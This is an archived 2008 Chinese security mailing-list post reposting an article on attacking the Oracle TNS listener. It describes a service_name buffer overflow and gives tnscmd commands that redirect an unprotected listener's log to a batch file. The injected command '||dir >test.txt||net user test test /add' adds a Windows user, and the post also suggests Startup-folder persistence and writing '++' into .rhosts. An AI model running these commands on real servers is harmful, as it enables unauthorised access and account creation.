[Ph4nt0m] [zz]针对Oracle的TNS listen er的攻击方法整理

Mon, 19 May 2008 19:09:42 -0700 

 

    Author：poison/amxku

    首先，根据版本的不同，TNS listener <http://www.amxku.net/tag/listener/>
可能较易受到多种类型的缓冲区溢出
<http://www.amxku.net/tag/%25E6%2594%25BB%25E5%2587%25BB/> 攻击，这些
<http://www.amxku.net/tag/%25E6%2594%25BB%25E5%2587%25BB/> 攻击可以在不提供
用户ID和口令的情况下被利用。例如：在oracle
<http://www.amxku.net/tag/oracle/>  9i中，当客户机请求某个过长的service_name
时,很容易受到溢出 <http://www.amxku.net/tag/%25E6%2594%25BB%25E5%2587%25BB/>
攻击。当listener <http://www.amxku.net/tag/listener/> 为日志构建错误消息之
后，service_name的值会被复制到某于栈结构的缓冲区内，从而引起溢出--覆盖保存值
将返回栈中的地址。这种做法可以使
<http://www.amxku.net/tag/%25E6%2594%25BB%25E5%2587%25BB/> 攻击者获得控制
权。事实上，TNS listener <http://www.amxku.net/tag/listener/> 曾经有过多次溢
出和格式化字符串的漏洞。

    其次，另一类 <http://www.amxku.net/tag/%25E6%2594%25BB%25E5%2587%25BB/>
攻击和日志文件有关。只有当未给listener <http://www.amxku.net/tag/listener/>
设置口令的时候，攻击才会有效。假设某个listener
<http://www.amxku.net/tag/listener/> 没有设置口令，攻击方法如下： tnscmd -h
www.example.com -p 1521 --rawcmd
"(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_direc
tory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))"     将日志目
录设置到C盘 tnscmd -h www.example.com -p 1521 --rawcmd
"(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)
(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))"     将日志文件
设置为test.bat tnscmd -h www.example.com --rawcmd "(CONNECT_DATA=((
||dir >test.txt||net user test test /add))"     该命令把dir >test.txt、net
user test test /add命令写入c:\test.bat文件，由于双竖线的作用（第一条命令执行
失败后，WINDOWS命令解释器执行后面的命令）把错误的信息注释掉， 从而可以执行我
们提交的命令。

    通过设置日志文件到不同的目录，例如WINDOWS的启动目录，当服务器重启将执行
恶意用户提交的特定代码，从而对系统造成威胁。

    运行于UNIX系统上的oracle <http://www.amxku.net/tag/oracle/> 也会受到同样
的威胁。其中一种方法就是将"++"回送给.rhost文件，当系统运行时，使用
r*services命令。


Address: http://www.amxku.net/archives/oracle-tns-listener/


 

 

[Ph4nt0m] <http://www.ph4nt0m.org/>  

[Ph4nt0m Security Team]

                   <http://blog.ph4nt0m.org/> [EMAIL PROTECTED]

          Email:  [EMAIL PROTECTED]

          PingMe:
<http://cn.pingme.messenger.yahoo.com/webchat/ajax_webchat.php?yid=hanqin_wu
hq&sig=9ae1bbb1ae99009d8859e88e899ab2d1c2a17724> 

          === V3ry G00d, V3ry Str0ng ===

          === Ultim4te H4cking ===

          === XPLOITZ ! ===

          === #_# ===

#If you brave,there is nothing you cannot achieve.#

 

 


--~--~---------~--~----~------------~-------~--~----~
 要向邮件组发送邮件，请发到 [email protected]
 要退订此邮件，请发邮件至 [EMAIL PROTECTED]
-~----------~----~----~----~------~----~------~--~---

<<inline: image001.gif>>

回复